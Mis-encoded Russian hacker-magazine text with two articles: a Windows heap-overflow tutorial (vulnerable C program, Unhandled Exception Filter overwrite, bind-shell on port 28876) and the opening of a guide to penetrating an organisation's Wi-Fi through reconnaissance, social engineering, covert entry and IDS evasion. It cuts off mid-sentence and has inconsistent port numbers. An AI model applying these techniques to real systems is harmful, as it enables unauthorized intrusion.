ÒÈ ÂÑÅ ÏÐÈÌÅÐÛ È ÎÏÈÑÀÍÈß ÏÎÏÓËßÐÍÛÕ ÌÅÒÎÄÈÊ ÏÐÈÂÅÄÅÍÛ ÈÌÅÍÍÎ ÄËß UNIX-ÑÈÑÒÅÌ. ËÅÇÒÜ 
Â ÊÓ×Ó ÑÏÅÖÈÔÈ×ÅÑÊÈÕ ÄËß WINDOWS ÌÎÌÅÍÒÎÂ ÍÈÊÒÎ ÍÅ ÆÅËÀÅÒ. ÏÎ ÝÒÎÉ ÏÐÈ×ÈÍÅ ÌÛ ÐÅØÈËÈ
ÏÐÈÃÎÒÎÂÈÒÜ ÄËß ÒÅÁß ÈÍÒÅÐÅÑÍÛÉ ÌÀÒÅÐÈÀË Î ÏÎÏÓËßÐÍÎÌ ÑÐÅÄÈ ÕÀÊÅÐÎÂ È ÂÈÐÌÅÉÊÅÐÎÂ
ÏÐÈÅÌÅ, Ñ ÏÎÌÎÙÜÞ ÊÎÒÎÐÎÃÎ ÐÀÑÏÐÎÑÒÐÀÍßÅÒÑß ÄÎÁÐÀß ÏÎËÎÂÈÍÀ ÑÅÒÅÂÛÕ ×ÅÐÂÅÉ, � Î HEAP
OVERFLOW | Õàøòàìîâ Àäèëü (adi1@ok.kz) 



winnt.h/win.h. Â êàæäûé èíäåêñ ìàññèâà çàïèñûâàåòñÿ ñâî-
áîäíûé áëîê, íóìåðîâàííûé ïî åäèíèöàì âûäåëåíèÿ. Â íà-
øåì ïðèìåðå ìû âûäåëèëè áëîê, ðàâíûé 64 áàéòàì, åäèíèö
âûäåëåíèÿ ïîëó÷èëîñü 8. Âûõîäèò, ÷òî ïðè îñâîáîæäåíèè
áëîêà ïàìÿòè â ìàññèâ FreeList (ìàññèâ ñâîáîäíûõ áëîêîâ)
ïîä èíäåêñîì 8 çàïèøåòñÿ íàø îñâîáîæäåííûé áëîê. Ó÷òè,
÷òî ïåðâûé èíäåêñ FreeList íå èñïîëüçóåòñÿ èç-çà òîãî, ÷òî
áëîê ðàçìåðîì â 8 áàéò íå ìîæåò ñóùåñòâîâàòü. Íóìåðàöèÿ
èíäåêñîâ íà÷èíàåòñÿ ñ 2-õ, íóëåâîé èíäåêñ èñïîëüçóåòñÿ äëÿ
õðàíåíèÿ îñâîáîæäåííûõ áëîêîâ ïàìÿòè áîëåå 1016 áàéò.

[ôóíêöèè äëÿ ðàáîòû ñ heap] Òåïåðü äàâàé ïîãîâî-
ðèì î ôóíêöèÿõ äëÿ ðàáîòû ñ êó÷åé. ß îïèøó ñàìûå ãëàâ-
íûå ñèñòåìíûå âûçîâû:

1 Ïåðâàÿ ôóíêöèÿ íàçûâàåòñÿ HeapCreate(). Îíà ñëóæèò
äëÿ ñîçäàíèÿ ÷àñòíîé îáëàñòè ïàìÿòè. Ó íåå 3 ïàðàìåòðà.
Ðàññìîòðèì èõ:

� Ôëàã êó÷è, âñåãî èõ äâà. Ïåðâûé ôëàã � HEAP_GENER-
ATE_EXCEPTIONS � óêàçûâàåò íà òî, ÷òî â ñëó÷àå îøèáêè
áóäåò ñãåíåðèðîâàíà ñòðóêòóðà èñêëþ÷èòåëüíûõ ñèòóàöèé
(SEH). Âòîðîé ôëàã � HEAP_NO_SERIALIZE � óêàçûâàåò íà
òî, ÷òî áóäåò îòìåíåí ñèíõðîíèçèðîâàííûé äîñòóï ê ïàìÿòè.
Äàííóþ îïöèþ ñòîèò ïðèìåíÿòü â òîì ñëó÷àå, åñëè òû óâåðåí,
÷òî äîñòóï ê êó÷å íå èìåþò îäíîâðåìåííî äâà ïîòîêà.
� Ðàçìåð êó÷è.
� Ðàçìåð ìàêñèìàëüíîãî çíà÷åíèÿ êó÷è. Åñëè ïîñòàâèòü 0,
òî áóäåò ñòîÿòü îãðàíè÷åíèå ðàâíîå ìàêñèìàëüíîìó çíà÷å-
íèþ âñåé âèðòóàëüíîé ïàìÿòè ñèñòåìû (4Ãá).
Ôóíêöèÿ â êà÷åñòâå ðåçóëüòàòà ðàáîòû âîçâðàùàåò äåñêðèïòîð, ÷å-
ðåç êîòîðûé â äàëüíåéøåì áóäåò âûäåëÿòüñÿ ïàìÿòü. ×òîáû òåáå
áûëî ïðîùå, ïîêàæó íà ïðèìåðå, êàê âûãëÿäèò âûçîâ ýòîé ôóíêöèè:

HANDLE Heap1 = HeapCreate(HEAP_GENERATE_EXCEP-
TIONS, 700, 0);

2 Âòîðàÿ ôóíêöèÿ èñïîëüçóåòñÿ äëÿ âûäåëåíèÿ áëîêîâ è
íàçûâàåòñÿ HeapAlloc(). Îíà èìååò 3 ïàðàìåòðà:

� Äåñêðèïòîð îáëàñòè êó÷è (â íàøåì ñëó÷àå ýòî Heap1).
� Íåîáÿçàòåëüíûå ôëàãè, äâà èç êîòîðûõ àíàëîãè÷íû ôóíê-
öèè HeapCreate(), à òðåòèé ôëàã � HEAP_ZERO_MEMORY �
óêàçûâàåò íà òî, ÷òî âûäåëåííûé áëîê çàïîëíÿåòñÿ íóëÿìè.
� Îáúåì çàïðàøèâàåìîé ïàìÿòè. Ïðèìåð âûçîâà:

char *HeapBlock1 = HeapAlloc(Heap1, HEAP_ZERO_MEMORY, 555);

3 Òðåòüÿ ôóíêöèÿ � îñâîáîæäåíèå áëîêà HeapFree(). Îíà
èìååò òîæå 3 ïàðàìåòðà.

� Äåñêðèïòîð îáëàñòè.
� Ôëàã. Ìîæåò áûòü 0 èëè HEAP_NO_SERIALIZE.
� Áëîê, êîòîðûé íóæíî îñâîáîäèòü.

ß ðàññêàçàë òåáå îá îñíîâíûõ ôóíêöèÿõ äëÿ ðàáîòû ñ êó÷åé
â Windows. Ïîíèìàíèå èõ ðàáîòû óæå î÷åíü ñêîðî íàì ïðè-
ãîäèòñÿ, ïîòîìó ÷òî ïåðåõîäèì ê ñàìîìó èíòåðåñíîìó � íå-
ïîñðåäñòâåííî ê Heap Overflow.

[ïåðåïîëíåíèå êó÷è] Ïåðåïîëíåíèå êó÷è ñõîæå ñ ïåðå-
ïîëíåíèåì ñòåêà. Îòëè÷èòåëüíàÿ îñîáåííîñòü, êàê è ñëåäî-
âàëî áû îæèäàòü, çàêëþ÷àåòñÿ â òîì, ÷òî â äàííîì ñëó÷àå

ìû èìååì äåëî ñ êó÷åé, à íå ñî ñòå-
êîì :). ×òîáû íå âåñòè àáñòðàêòíûõ
ðàçãîâîðîâ, ïðèâåäó ðàñïðîñòðà-
íåííûé ïðèìåð óÿçâèìîé ïðîãðàì-
ìû. Âñìîòðèñü-êà â ýòîò êîä:

[óÿçâèìûé êîä ïðîãðàììû]

#include <stdio.h>
#include <windows.h>
int main ( int argc, char *argv[] )
{
HANDLE Heap1 = HeapCreate(0,
700, 0);
char* hblock1 = HeapAlloc(Heap1,
HEAP_ZERO_MEMORY, 10);
strcpy(hblock1, argv[1]);
char* hblock2 = HeapAlloc(Heap1,
HEAP_ZERO_MEMORY, 20);
HeapFree(Heap1, 0, hblock1);
HeapFree(Heap1, 0, hblock2);
return 0; }

Åñëè òû âíèìàòåëüíûé ÷åëîâåê è
íåìíîãî ñìûñëèøü â ïðîãðàììè-
ðîâàíèè, òî ìèãîì çàìåòèøü, ÷òî â
ýòîé ïðîãðàììå ïðèñóòñòâóåò áàã
� ïåðåïîëíåíèå ïðè èñïîëüçîâà-
íèè ôóíêöèè strcpy(). Ïðè êîïèðî-
âàíèè ìû íå ó÷èòûâàåì äëèíó
âõîäíîãî ïàðàìåòðà, êîòîðûé êî-
ïèðóåòñÿ â ïåðâûé áëîê. Åñëè
ââåñòè äîñòàòî÷íî äëèííóþ ñòðî-
êó, òî êîãäà äàííûå ïåðåïîëíÿò
ïåðâûé áëîê, ìû óæå ïîïàäåì âî
âëàäåíèÿ âòîðîãî áëîêà è áóäåì
èìåòü âîçìîæíîñòü óïðàâëÿòü èì.
Ýòî ìîæíî íàãëÿäíî óâèäåòü â ëþ-
áîì îòëàä÷èêå, ÿ áóäó èñïîëüçî-
âàòü èçâåñòíûé äåáàããåð OllyDbg.
Ïîñìîòðè íà ñêðèíøîò ïîä íîìå-
ðîì òðè. Òàì îò÷åòëèâî âèäíî, ÷òî
ïðîèñõîäèò ïðè ïåðåïîëíåíèè êó-
÷è. Heap Overflow ïðîèçîøåë ïðè
îñâîáîæäåíèè áëîêîâ ïàìÿòè, è òå-
ïåðü óïðàâëÿåì äâóìÿ ðåãèñòðàìè
� EAX è ECX. Îáðàòè âíèìàíèå íà
ýòîò ó÷àñòîê êîäà â îòëàä÷èêå:

MOV DWORD PTR DS:[ECX],EAX
MOV DWORD PTR DS:[EAX+4],ECXðèñóíîê 4: ñåðâåð â êîìàòîçå

Îïèñàííàÿ ìåòîäèêà ÿâëÿ-
åòñÿ ïëàòôîðìîçàâèñèìîé
è äëÿ êàæäîé âåðñèè ñèñ-
òåìû íóæíî ñîáèðàòü ñâîé
ñïëîèò, óêàçûâàÿ ðàçëè÷-
íûå àäðåñà ôèëüòðîâ.

Êîëè÷åñòâî âûäåëÿåìîé
ïàìÿòè â êó÷å óêàçûâàåòñÿ
â PE-çàãîëîâêå ýêçåøíèêà
è ìîæåò áûòü èçìåíåíî.

Ýòà ñòàòüñÿ íàïèñàíà â èñ-
ñëåäîâàòåëüñêèõ öåëÿõ äëÿ
îçíàêîìëåíèÿ ñ ðàñòóùåé
óãðîçîé ñî ñòîðîíû ñåòå-
âûõ ÷åðâåé: âåäü îñòàíî-
âèòü ïðîäâèæåíèå çàðàçû
ìîæíî ëèøü, êàê ñëåäóåò
ðàçîáðàâøèñü ñ òåì, êàê
îíà ðàñïðîñòðàíÿåòñÿ. Çà
íåçàêîííîå ïðèìåíåíèå
ïîëó÷åííûõ ñâåäåíèé íå-
ñåøü îòâåòñòâåííîñòü
òîëüêî òû ñàì.
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Ýòè ñòðîêè è îçíà÷àþò òî, ÷òî ó íàñ â ðàñïîðÿæåíèè âûøåïðèâåäåí-
íûå ðåãèñòðû. Åñëè òû ïîíÿë âñþ òåõíèêó ðàáîòû êó÷è, òî óæå ìî-
æåøü äîãàäàòüñÿ, ÷òî â ðåãèñòð EAX ïðè íîðìàëüíîé ðàáîòå áóäåò
çàíåñåí àäðåñ ñëåäóþùåãî ñâîáîäíîãî áëîêà, à â ðåãèñòð ECX � àä-
ðåñ ïðåäûäóùåãî. Ïðè ïåðåïîëíåíèè ìû çàòåðëè çíà÷åíèÿ ýòèõ ðå-
ãèñòðîâ, è ïîýòîìó ïðîèñõîäèò îøèáêà. Ýêñïëóàòèðîâàíèå ìîæåò
èäòè ïî ñöåíàðèþ ïîäìåíû Flink è Blink. Â äàííîé ñòàòüå ÿ õî÷ó ðàñ-
ñêàçàòü îá îäíîé èç ñàìûõ ëåãêèõ òåõíèê � î ïåðåçàïèñûâàíèè
ôèëüòðà íåîáðàáîòàííûõ èñêëþ÷åíèé (Unhandled Exception Filter).
Ôóíêöèÿ, êîòîðàÿ óñòàíàâëèâàåò ýòîò ôèëüòð, íàõîäèòñÿ â ñèñòåì-
íîé áèáëèîòåêå kernel32.dll � SetUnhandledExceptionFilter. Êîä åå
âûãëÿäèò ïðèìåðíî òàê:

mov ecx, dword ptr [esp+04]
mov eax, dword ptr [77ED73B4]
mov dword ptr [77ED73B4], ecx
ret 0004

Äëÿ âûïîëíåíèÿ êîäà íàì äîñòàòî÷íî óñòàíîâèòü â ðåãèñòð ECX àäðåñ
ôèëüòðà (77ED73B4), à â ðåãèñòð EAX � àäðåñ, êîòîðûé ïåðåäàñò óï-
ðàâëåíèå øåëë-êîäó.
Òåì ñàìûì ïîñëå ýòîãî áóäåò âûïîëíåí ñëåäóþùèé êîä:

ntdll.NtQueryInformationProcess:
mov eax, dword ptr [77ED73B4]
ñmp eax, esi
je 77E93132
push edi
call eax

Çäåñü âèäíî, ÷òî óïðàâëåíèå áóäåò ïåðåäàíî ýòîìó ôèëüòðó. È  ïðè ïîä-
ìåíå ôèëüòðà ìû ñìîæåì ïåðåäàòü óïðàâëåíèå íàøåìó øåëë-êîäó. Ó
âíèìàòåëüíîãî ÷èòàòåëÿ, íàâåðíîå, óæå íàçðåë âîïðîñ î òîì, êàêèì îá-
ðàçîì ìîæíî óçíàòü àäðåñ øåëë-êîäà. Òóò âñå ïðîñòî. Äåëî â òîì, ÷òî
ðåãèñòð EDI+0x74 óêàçûâàåò íà ñòåê ïåðåä êó÷åé. Òàêèì îáðàçîì, ïðè
ïåðåçàïèñè ôèëüòðà ýòèì àäðåñîì ìû ïåðåäàåì óïðàâëåíèå íà çàðàíåå
ïîäãîòîâëåííûé øåëë-êîä.
Äàâàé âñå ýòî ðàññìîòðèì íà ïðàêòèêå. Â êà÷åñòâå ïîäîïûòíîãî êðî-
ëèêà ÿ íàïèñàë ìàëåíüêîå ñåðâåðíîå ïðèëîæåíèå, êîòîðîå ïðèíèìàåò
çàïðîñû îò êëèåíòà. Ïðè ïîñûëêå çàïðîñà, êîòîðûé ïðåâûøàåò ðàçìåð
îòâåäåííîãî áóôåðà, ñåðâåð îòðóáàåòñÿ ñ îøèáêîé ïåðåïîëíåíèÿ. Çà-
äà÷à êëèåíòà-ýêñïëîéòà çàêëþ÷àåòñÿ â òîì, ÷òîáû ïîñëàòü ñïåöèàëü-
íûì îáðàçîì ñôîðìèðîâàííûé çàïðîñ, êîòîðûé ïåðåïîëíèò êó÷ó, âû-

çîâåò íåîáðàáîòàííîå èñêëþ÷å-
íèå, ïîäìåíèò åãî è ïåðåäàñò óï-
ðàâëåíèå øåëë-êîäó, êîòîðûé, â
ñâîþ î÷åðåäü, îòêðîåò øåëë íà
28876 ïîðòó. Âîò è âñå. ×òîáû
ëó÷øå ïîíèìàòü, î ÷åì ÿ ãîâîðþ,
íàñòîÿòåëüíî ñîâåòóþ òåáå âçÿòü
ñ íàøåãî äèñêà èñõîäíèê ñåðâåðà
è ïàðàëëåëüíî ñî ìíîé ïðîäåëû-
âàòü âñå îïåðàöèè íàä âûïîëíÿå-
ìûì áèíàðíèêîì â îòëàä÷èêå.
Çàãðóçè â OllyDbg Server.exe ñ
äèñêà è ïåðåäàé ïðîãðàììå íà

âõîä äîñòàòî÷íî äëèííóþ ñòðîêó. Â îòëàä÷èêå òû óâèäèøü êàðòèíêó,
î÷åíü ïîõîæóþ íà ðèñóíîê 4.
Êàê âèäíî èç ñêðèíà, ñåðâåð óïàë è çíà÷åíèÿ EAX, ECX ïîäìåíèëèñü
íà 0x61616161. Ýòî ãîâîðèò î òîì, ÷òî ìû â ñîñòîÿíèè óäà÷íî âûïîë-
íèòü êîä. Ñàì ýêñïëîéò, êîòîðûé áóäåò îòêðûâàòü äîñòóï ê øåëë-îáî-
ëî÷êå, î÷åíü ïðîñò äëÿ ïîíèìàíèÿ, è òû åãî ìîæåøü íàáëþäàòü íà
íàøåì äèñêå. Â íåì ÿ èñïîëüçóþ winsock äëÿ ñîåäèíåíèÿ ñ ñåðâåðîì
(ó íàñ îí âèñèò íà 6666 ïîðòó). Ïðè ïîäêëþ÷åíèè íà íåãî ýêñïëîéò
ôîðìèðóåò ñòðîêó äëÿ ïåðåïîëíåíèÿ. Äëÿ ýòîãî ìû çàïîëíÿåì âûäå-
ëÿåìûé â ïðîãðàììå áóôåð, îðãàíèçóÿ êîðîòêèé ïåðåõîä jmps, ïåðå-
äàþùèé óïðàâëåíèå ôèëüòðó, êîòîðûé ïîñëå ýòîãî ïåðåçàïèñûâàåò-
ñÿ èíñòðóêöèåé call dword ptr [edi+0x74]. Ýòà èíñòðóêöèÿ â íàøåì ñëó-
÷àå âçÿòà èç áèáëèîòåêè RPCRT4.DLL. Óïðàâëåíèå ïåðåõîäèò íà
«ïóñòûøêè» (NOP'û), êîòîðûå ñïóñêàþòñÿ äî íàøåãî øåëë-êîäà, êî-
òîðûé è èñïîëíÿåòñÿ ñåðâåðíîé ÷àñòüþ. Øåëë-êîä ðàáîòàåò ïî ñëå-
äóþùåìó ïðèíöèïó. Â ñàìîì íà÷àëå ïî ñòðóêòóðå winsock ìû îòêðû-
âàåì 28876 ïîðò íà ìàøèíå. Äàëåå ñîçäàåì ïðîöåññ cmd.exe ñ ïî-
ìîùüþ CreateProccess(), êîòîðûé «âåøàåòñÿ» íà âûøåóêàçàííûé
ïîðò, ïîýòîìó ïðè ïîäêëþ÷åíèè íà íåãî, òû ïîëó÷àåøü èíòåðàêòèâ-
íóþ êîìàíäíóþ ñòðîêó. Äëÿ áîëåå ÿñíîãî ïîíèìàíèÿ ðàáîòû ñïëîèòà
ñîâåòóþ òåáå çàïóñòèòü ñåðâåð âíå îòëàä÷èêà, à ïîòîì «ïðèêðåïèòü-
ñÿ» ê íåìó ñ ïîìîùüþ OllyDbg. Âñå ýòè äåéñòâèÿ ìîæíî íàáëþäàòü íà
êàðòèíêå ïîä íîìåðîì 5.
Êàê âèäíî, âñå íàøè òåîðåòè÷åñêèå ïðèêèäêè è ðàñ÷åòû ðåàëèçîâàëèñü
íà ïðàêòèêå, ìû ïåðåçàïèñàëè ôèëüòð, íàø êîä èñïîëíèëñÿ óäà÷íî, è íà
28786 ïîðòó îòêðûëñÿ ãåéò äëÿ äîñòóïà ê cmd.exe :).

[çàêëþ÷åíèå] Â äàííîé ñòàòüå ÿ ëèøü ïîêàçàë îñíîâó äëÿ äàëü-
íåéøåãî èçó÷åíèÿ. Ðàññìîòðåííàÿ íàìè òåõíèêà, ñ÷èòàåòñÿ ñàìîé
ëåãêîé è ïðîöåíò òîãî, ÷òî êîä âûïîëíèòñÿ ïðè ïðàâèëüíî ñîáðàí-
íîì ýêñïëîéòå, î÷åíü âåëèê. Îäíàêî ó ìåòîäèêè åñòü è ñåðüåçíûé
íåäîñòàòîê: îíà ïëàòôîðìîçàâèñèìà. Òî åñòü äëÿ êàæäîé ÎÑ è SP
íóæíî èñêàòü ñâîè àäðåñà ôèëüòðîâ. Âîçìîæíî, â ïîñëåäóþùèõ
ñòàòüÿõ ÿ ðàññìîòðþ äðóãèå òåõíèêè, êîòîðûå íå çàâèñÿò îò ïëàò-
ôîðìû è íà îñíîâå êîòîðûõ ìîæíî áóäåò ïèñàòü óíèâåðñàëüíûå
ýêñïëîéòû ðèñóíîê 6: àòòà÷ ê ïðîöåññó

ðèñóíîê 5: óäà÷íàÿ ðàáîòà
ýêñïëîèòà

SetUnhandledExceptionFilter â kernel32.dll

ðèñóíîê 3: ïåðåïîëíåíèå â êó÷å





Â ÄÀËÅÊÎÌ 2002 ÃÎÄÓ Ó×ÀÑÒÍÈÊÈ DEFCON ÏÐÎÂÅËÈ ÍÅÁÎËÜØÎÅ ÈÑÑËÅÄÎÂÀÍÈÅ, ÁÎËÜØÅ ÏÎÕÎÄÈÂØÅÅ
ÍÀ ÑÏÎÐÒÈÂÍÎÅ ÑÎÐÅÂÍÎÂÀÍÈÅ ÏÎ ÏÐÎÍÈÊÍÎÂÅÍÈÞ Â ÁÅÑÏÐÎÂÎÄÍÛÅ ÑÅÒÈ. ÈÇÓ×ÈÂ ÁÎËÅÅ 500 ÒÎ-
×ÅÊ ÄÎÑÒÓÏÀ Â ÎÊÐÓÃÅ, ÎÍÈ ÂÛßÂÈËÈ ÈÍÒÅÐÅÑÍÓÞ ÑÒÀÒÈÑÒÈÊÓ: ÎÊÎËÎ 30% ÁÅÑÏÐÎÂÎÄÍÛÕ ÑÅÒÅÉ
ÇÀÙÈÙÀËÈÑÜ ÏÐÎÒÎÊÎËÎÌ WEP, Â ÊÀÆÄÎÉ ÏßÒÎÉ ÑÅÒÊÅ ÇÍÀ×ÅÍÈÅ ESSID ÁÛËÎ ÂÛÑÒÀÂËÅÍÎ «ÏÎ
ÓÌÎË×ÀÍÈÞ», À 20% ÁÅÑÏÐÎÂÎÄÍÛÕ ÑÅÒÅÉ ÀÁÑÎËÞÒÍÎ ÍÈÊÀÊ ÍÅ ÇÀÙÈÙÀËÈÑÜ ÎÒ ÄÎÑÒÓÏÀ ÈÇÂÍÅ.
ÌÎÃÓ ÒÅÁÅ ÑÊÀÇÀÒÜ, ×ÒÎ Â ÍÀÑÒÎßÙÅÅ ÂÐÅÌß ÍÀ ÒÅÐÐÈÒÎÐÈÈ ÐÎÑÑÈÈ ÑÒÀÒÈÑÒÈÊÀ ÅÙÅ ÁÎËÅÅ ÓÆÀÑÀ-
ÞÙÀß. ÒÎËÜÊÎ ÊÀÆÄÀß ÄÅÑßÒÀß 802.11 ÑÅÒÜ ÇÀÙÈÙÅÍÀ ×ÅÌ-ÒÎ ÁÎËÜØÈÌ, ×ÅÌ ÏÐÎÒÎÊÎË WEP È
ÔÈËÜÒÐÀÖÈß MAC-ÀÄÐÅÑÎÂ. ÍÓ À ÐÀÇ ÒÀÊ, ÅÑÒÜ ÏÎÂÎÄ ÄËß ÐÀÇÃÎÂÎÐÀ | rossomahaar (rossomahaar@mail.ru) 

[ãîòîâèìñÿ ê àòàêå] Èç ïðèâåäåííîé ñòàòèñòèêè ëåãêî ïîíÿòü, ÷òî,
èìåÿ íîóòáóê, êîå-êàêèå ïðîãðàììû è íåìíîãî çíàíèé, ìîæíî ïðîíèê-
íóòü â 90% ñåòåé 802.11. À åñëè âçëîìùèê îáëàäàåò áîëåå ãëóáîêèìè
çíàíèÿìè ïî áåñïðîâîäíûì ñåòÿì è íåêîòîðûìè õàêåðñêèìè íàâûêàìè
(ñîöèàëüíîé èíæåíåðèåé, íàïðèìåð), ïðîöåíò óäà÷íûõ ïðîíèêíîâåíèé
ñòðåìèòñÿ ê 100. Ìû óæå ïèñàëè î âçëîìå Wi-Fi, íî ñåãîäíÿ ìû
ïîñìîòðèì íà õàêåðñêèé îïûò â ýòîì âîïðîñå ñ ïðàêòè÷åñêîé ñòîðîíû. 

[÷òî íóæíî] Äëÿ Wi-Fi-õàêèíãà âçëîìùèêè ïîëüçóþòñÿ ñëåäóþùèìè
àòðèáóòàìè æèçíè:

�  íîóòáóê
�  Wi-Fi-êàðòà ñ íàáîðîì ìèêðîñõåì Prism2 (â ïðèíöèïå, ìîæíî ðàáîòàòü
è ñ äðóãèìè, íàïðèìåð, Hermes, íî ëó÷øå âñå æå Prism, òàê êàê ïîä òà-
êèå êàðòû ïèøåòñÿ áîëüøèíñòâî íåîáõîäèìîãî íàì ñîôòà) è ñ âîçìîæ-
íîñòüþ ïîäêëþ÷åíèÿ âíåøíåé àíòåííû
�  àíòåííà, à ëó÷øå äâå: âñåíàïðàâëåííàÿ è óçêîíàïðàâëåííàÿ;
�  àâòîìîáèëü

Íó, ýòî â èäåàëå. Ðàçóìååòñÿ, áîëüøèíñòâî ëþäåé íå ìîæåò ïîñòàâèòü ïî ïëþñè-
êó ðÿäîì ñ êàæäûì ïóíêòîì. Ïîýòîìó ìîæåò ïîäîéòè è òàêîé âàðèàíò: íîóòáóê ñî
âñòðîåííûì ìîäóëåì Wi-Fi è äâå íîãè. Èëè åùå îäèí âàðèàíò: äîìàøíèé êîìï,
ïîçàèìñòâîâàííàÿ ó äðóãà êàðòà è ïðèñîåäèíåííàÿ ê íåé, íàñïåõ ñäåëàííàÿ ñâî-
èìè ðóêàìè íàïðàâëåííàÿ àíòåííà, êîòîðàÿ ñ áàëêîíà íàöåëèâàåòñÿ íà îôèñ êà-
êîé-íèáóäü íàõîäÿùåéñÿ íåïîäàëåêó ôèðìû. Íå ñòîèò òàêæå íåäîîöåíèâàòü âîç-
ìîæíîñòè ÊÏÊ, ïîýòîìó åñëè ó òåáÿ åñòü íàëàäîííèê ñ Wi-Fi-ìîäóëåì (æåëàòåëü-
íî iPac èëè Zaurus), òî îí ìîæåò âåñüìà ïðèãîäèòüñÿ.
Êàêóþ îñü âûáðàòü äëÿ ýòîãî äåëà? Â ñòàòüå Óêð-Õûðà áûë óïîð íà
Windows, ïîýòîìó ÿ ðàññêàæó î ïðîãðàììàõ ïîä þíèêñ. Òåì áîëåå, ÷òî
îíè áåñïëàòíûå è äàþò áîëüøå âîçìîæíîñòåé.

Ïîçèòèâíûé îïûò ïðîíèêíîâåíèÿ 
â áåñïðîâîäíûå 802.11 ñåòè

[âûáîð öåëè] Î òîì, êàê íàéòè â öåíòðå ãîðîäà íåçàùèùåííóþ ñåòü è
ïîñèäåòü íàõàëÿâó â èíåòå, ìû óæå ïèñàëè, è íàì ýòî ñåé÷àñ íå îñîáåí-
íî èíòåðåñíî. Ðàññìîòðèì äðóãîé âàðèàíò: õàêåðó íóæíî ïðîíèêíóòü â
êîíêðåòíóþ áåñïðîâîäíóþ ñåòü îïðåäåëåííîé îðãàíèçàöèè. Îí íå çíà-
åò, íàñêîëüêî õîðîøî îíà çàùèùåíà, ñ ÷åãî æå íà÷àòü?
Ïåðâîå, ÷òî íåîáõîäèìî ïðåäïðèíÿòü � ïðîâåñòè èíòåðíåò-ðàçâåäêó.
Íóæíî óçíàòü êàê ìîæíî áîëüøå î òîì, êòî çàíèìàåòñÿ âîïðîñàìè ÈÒ â
îðãàíèçàöèè, êàê îíè ýòèì çàíèìàþòñÿ, òî åñòü íàêîïèòü êàê ìîæíî
áîëüøå èíôîðìàöèè î ñâîåì ïðîòèâíèêå. Çà÷åì ýòî ìîæåò ïðèãîäèòü-
ñÿ? Âî-ïåðâûõ, ìîæíî íàðûòü êó÷ó ïîëåçíîé äëÿ ñåáÿ èíôîðìàöèè, êà-
ñàþùåéñÿ èñïîëüçóåìûõ ôèðìîé òåõíîëîãèé çàùèòû. Âî-âòîðûõ, çíà-
íèå èìåí äîëæíîñòíûõ ëèö êîìïàíèè ìîæåò ïðèãîäèòüñÿ ïðè èñïîëüçî-
âàíèè ñîöèíæåíåðèè. 
Äàëåå ñëåäóåò îñìîòð ìåñòíîñòè. Âçëîìùèê âûÿâëÿåò íàèáîëåå óäîá-
íîå ìåñòî äëÿ àòàêè. Áûâàåò òàê, ÷òî ñåòü íèêàê íå çàùèùåíà, íî ïðè-
ñîåäèíèòüñÿ ê íåé ìîæíî òîëüêî, êîãäà íàõîäèøüñÿ â íåïîñðåäñòâåííîé
áëèçîñòè îò íåå. Â ýòîì ñëó÷àå õàêåðó ïîíàäîáèòñÿ ìîùíàÿ îñòðîíàï-
ðàâëåííàÿ àíòåííà. Ìîæíî òàêæå ïîéòè íà áîëåå ýêñòðåìàëüíûå
äåéñòâèÿ: ïîä êàêèì-íèáóäü ïðåäëîãîì ïðîíèêíóòü âíóòðü çäàíèÿ è ñî-
âåðøèòü âçëîì «èçíóòðè», íî â ýòîì ñëó÷àå íóæíî ñäåëàòü âñå «ïî-òè-
õîìó», òàê êàê âîçìîæíî íàëè÷èå ñèñòåìû IDS.

[èçó÷àåì òðàôèê] ß ðàññêàæó òåáå î íåñêîëüêèõ ïðîãðàììàõ äëÿ îá-
íàðóæåíèÿ ñåòåé è àíàëèçà èõ òðàôèêà. Âîîáùå, ñóùåñòâóåò äâà ñïîñîáà
îáíàðóæåíèÿ áåñïðîâîäíûõ ñåòåé: ìåòîä àêòèâíîãî è ïàññèâíîãî ñêàíè-
ðîâàíèÿ. Àêòèâíîå ñêàíèðîâàíèå ïîäðàçóìåâàåò îòïðàâêó AP ïðîáíîãî
çàïðîñà â íàäåæäå ïîëó÷èòü îò òî÷êè îòâåò, â êîòîðîì áóäåò ñîäåðæàòü-
ñÿ èíôîðìàöèÿ î ESSID, êàíàëå ïåðåäà÷è äàííûõ, ïðèìåíÿåìîì øèôðî-
âàíèè äàííûõ, óðîâíå ñèãíàëà è ñêîðîñòè ïåðåäà÷è äàííûõ. Èìåííî òàê
äåéñòâóþò NetStumbler è MiniStumbler. Ïðîáëåìà â òîì, ÷òî àäìèí ëåãêî
ìîæåò íàñòðîèòü òî÷êó äîñòóïà òàê, ÷òî îíà íå áóäåò îòâå÷àòü íà ïîäîá-
íûå çàïðîñû è ñòàíåò íåâèäèìîé äëÿ NetStumbler'à. Êðîìå òîãî, ñèãíàòóð-
íûå IDS âûÿâëÿþò ñêàíèðîâàíèå Íåòñòàìáëåðîì, òàê ÷òî òû ìîæåøü
ïðèâëå÷ü ê ñåáå âíèìàíèå, èñïîëüçóÿ åãî. Åùå îäèí òðþê, êîòîðûé ìîæåò

Wi-FFi ïïîä ññêàëüïåëåì
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ïðåäïðèíÿòü àäìèí �
ýòî ïîñûëêà ïîääåëü-
íîãî ôðåéìà-îòâåòà ñ
çàâåäîìî ëîæíûìè
äàííûìè íà òâîé
ôðåéì-çàïðîñ, ÷òîáû
ââåñòè òåáÿ â çàáëóæ-
äåíèå. Ýòî ìîæíî ðåà-
ëèçîâàòü, íàïðèìåð, ñ
ïîìîùüþ ïðîãè
File2Air, íàïèñàííîé
Äæîøóà Ðàéòîì
(Joshua Wright). Åùå
îäèí ìèíóñ àêòèâíîãî

ñêàíèðîâàíèÿ � ýòî âûñîêèé ðàñõîä çàðÿäà àêêóìóëÿòîðà.
Ïàññèâíîå ñêàíèðîâàíèå èñïîëüçóåò ðåæèì ìîíèòîðèíãà
Wi-Fi-êàðòû. Îíî ñîñòîèò â ïåðåõâàòå òðàôèêà, ïðîõîäÿ-
ùåãî ïî âñåì êàíàëàì. Ëó÷øèì èíñòðóìåíòîì äëÿ ïàñ-
ñèâíîãî ñêàíèðîâàíèÿ, ïî ìîåìó ìíåíèþ, ÿâëÿåòñÿ
Kismet, ñîçäàííûé Ìàéêîì Êèðøîó (Mike Kershaw). Ïî-ñó-
òè, ýòà ïðîãà ïðåäíàçíà÷åíà äëÿ àíàëèçà òðàôèêà Wi-Fi è
ñîçäàíèÿ ñèñòåì IDS. Kismet ïîääåðæèâàåò âñå êàðòû,
óìåþùèå ðàáîòàòü â ðåæèìå rfmon, åå ìîæíî ïîñòàâèòü
íà Linux, â òîì ÷èñëå íà äèñòðèáóòèâû äëÿ ÊÏÊ, FreeBSD
